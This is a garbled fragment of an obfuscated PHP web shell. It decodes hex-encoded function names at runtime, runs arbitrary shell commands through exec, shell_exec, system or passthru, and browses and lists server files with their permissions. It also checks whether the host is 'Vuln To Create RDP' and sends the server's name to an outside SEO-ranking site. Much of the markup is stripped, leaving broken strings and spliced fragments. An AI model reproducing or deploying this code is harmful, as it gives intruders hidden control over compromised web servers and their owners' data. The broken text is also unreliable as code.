" . $perm . "
"; } else { return "" . $perm . "
"; } } function r($dir, $perm) { if (!dhex(2)($dir)) { return "" . $perm . "
"; } else { return "" . $perm . "
"; } } function getexist($cmd = null) { if (dhex(4)('exec')) { $disable = dhex(3)($cmd); } else if (dhex(4)('shell_exec')) { $disable = dhex(5)($cmd); } else if (dhex(4)('system')) { $disable = dhex(6)($cmd); } else if (dhex(4)('passthru')) { $disable = dhex(7)($cmd); } else { $disable = 'Disable'; } return $disable; } function getFileSize($path) { $bytes = filesize($path); $units = array('B', 'KB', 'MB', 'GB'); $unit = 0; while ($bytes >= 1024 && $unit < count($units) - 1) { $bytes /= 1024; $unit++; } return round($bytes, 2) . ' ' . $units[$unit]; } function dhex($num) { global $query; for ($i = 0; $i < count($query); $i++) { $dec[] = hex2bin($query[$i]); } return $dec[$num]; } function seorank($url) { $setopt = array( CURLOPT_URL => 'https://www.checkmoz.com/bulktool', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => "getStatus=1&siteID=1&sitelink=$url&da=1&pa=1&alexa=1" ); $ch = curl_init(); curl_setopt_array($ch, $setopt); return curl_exec($ch); curl_close($ch); } function perms($file) { $perms = dhex(15)($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function getact($dir, $file, $label) { ?> $disable" : 'NONE'; $os = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux"; $checkrdp = ($os !== 'Windows' && getexist() !== 'Disable') ? "Can't Create RDP" : 'Vuln To Create RDP'; $rank = seorank($_SERVER['SERVER_NAME']); $getrank = preg_match_all('/(.*?)<\/td>/', $rank, $get); $check = preg_replace('/Name | Size | Perm | Option |
---|---|---|---|
= $href ?> | ---- | = w(dhex(10)($dir) . "/$direc", perms(dhex(10)($dir) . "/$direc")) ?> | |
= $i ?> ">= $file ?> | = getFileSize(dhex(10)($dir) . "/$file") ?> | = w(dhex(10)($dir) . "/$file", perms(dhex(10)($dir) . "/$file")) ?> |